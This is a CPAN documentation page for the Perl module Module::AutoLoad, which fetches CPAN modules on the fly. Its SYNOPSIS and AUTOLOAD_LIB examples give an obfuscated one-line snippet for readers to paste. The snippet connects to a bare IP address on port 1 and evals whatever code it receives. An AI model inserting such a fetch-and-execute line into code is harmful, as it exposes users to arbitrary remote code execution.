Rob Brown > Module-AutoLoad-0.01 > Module::AutoLoad

Download:
Module-AutoLoad-0.01.tar.gz

Dependencies

Annotate this POD

CPAN RT

New  1
Open  0
View/Report Bugs
Module Version: 0.01   Source  

NAME ^

Module::AutoLoad - Automatically load uninstalled CPAN modules on the fly.

SYNOPSYS ^

  use IO::Socket;
  # Module::AutoLoad MAGIC LINE BELOW
  use lib do{eval<$b>&&botstrap("AutoLoad")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.88.":1"};

  use some::cpan::module;
  my $obj = some::cpan::module->new;

DESCRIPTION ^

Are you tired of everyone whining that your perl script doesn't work for other people because they didn't install some CPAN module that you "use" in your code, but you don't want to keep explaining to them how to install that silly dependency? Well then, this is just what you need. This module has just been used for personal hand-out scripts, but so many other people wanted to use it so here it is.

INSTALL ^

This module is the only one on CPAN that is never actually intented to be installed. It was designed to function simply by adding only a small code snippet, i.e., the "MAGIC LINE" from the SYNOPSYS above. You can just copy/paste and then "use" whatever CPAN module you want after that. But don't forget the IO::Socket line above. This is needed to download any module directly from CPAN on the fly as you "use" it. It even automatically loads the latest version of Module::AutoLoad at run-time directly from CPAN. The optional "MAGIC LINE" comment is only to direct people reading your code back to this documentation.

Although the snippet is fairly short, it is intentionally obfuscated using the RCX Framework as a quick way to detour those prying eyes from following how all the magic works, but the experienced Perl coder can still understand everything. This puzzle is left as a recreational challenge to the reader.

NOTE: This may change in the future once my Perl Golf buddies can help shave a few more strokes off of the invoker code. Or if you have some better ideas, feel free to please inform the author.

PREREQUISITES ^

There are intentionally very few modules required to be installed in order to use this module. That is the entire purpose for this module. In fact, this module itself works without even being installed! The only module required is IO::Socket, which comes stock with all perl distributions now.

CAVEATS ^

1. Network access is required in order to download the modules from CPAN. It uses port 1 and port 80 to connect out. This module will not function properly on stand-alone closed network systems nor on networks that can't handle the simplest HTTP/0.9 protocol.

2. Also, because of all the network traffic used, this module can be quite slow, especially the first time it is used since none of the cache files exist yet. One work-around is to manually replace the MAGIC LINE with "use lib 'lib';" after the invoker script has successfully executed once so that future executions can run directly from the cache folder without slapping CPAN anymore. This module is not recommended for use in production environments.

3. Write access is required for storing a local cache of the CPAN module in order to save time for future invocations. (See AUTOLOAD_LIB below for more details.)

4. This only works for simple Pure Perl CPAN modules. If you use modules with XS or bytecode, you will probably have to truly install it first.

5. You must always load the main distribution module first, even if you don't actually need to use that module anywhere.

  # For example, if all you need is Net::DNS::Resolver
  # You still have to load Net::DNS first.
  use Net::DNS;
  use Net::DNS::Resolver;

6. And for the same reason, those crazy distribution names that aren't really a module are more difficult to load on the fly. One workaround is with eval.

  # For example, Mail::Map is part of the MailTools distribution.
  # But MailTools.pm doesn't exist, so you have to eval it.
  BEGIN { eval { require MailTools; } }
  use Mail::Cap;

ENVIRONMENT VARIABLES ^

There are a few ENV settings you can configure to customize the behavior of Module::AutoLoad.

AUTOLOAD_LIB

You can choose where the CPAN cache files will be written to by using the AUTOLOAD_LIB setting. For example, if you think you might not have write access, you can choose another folder.

  use IO::Socket;
  BEGIN { $ENV{AUTOLOAD_LIB} = "/tmp/module_autoload_$<"; }
  use lib do{eval<$b>&&botstrap("AutoLoad")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.88.":1"};

The default is "lib" in the current directory.

AUTOLOAD_DEBUG

You can enable verbose debugging to see more how it works or if you are having trouble with some modules by setting AUTOLOAD_DEBUG to a true value. The default is off.

AUTOLOAD_SRC

You can use AUTOLOAD_SRC to specify the mapper engine is to ask where the latest location of the module is.

  # For example
  BEGIN { $ENV{AUTOLOAD_SRC} = "https://metacpan.org/release"; }

The default is "http://search.cpan.org/dist" .

SEE ALSO ^

local::lib - Wrapper around CPAN for local installations.

CPAN - Actually installs CPAN modules instead of a cache.

RCX - For compact and Remote Code eXecution framework.

AUTHOR ^

Rob Brown (bbb@cpan.org) - All of Module::AutoLoad code.

Wom Baht (wombaht@gmail.com) - RCX Obfuscation Framework to get the code snippet small.

COPYRIGHT AND LICENSE ^

Copyright (C) 2011 by Rob Brown

This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself, either Perl version 5.8.8 or, at your option, any later version of Perl 5 you may have available.

syntax highlighting: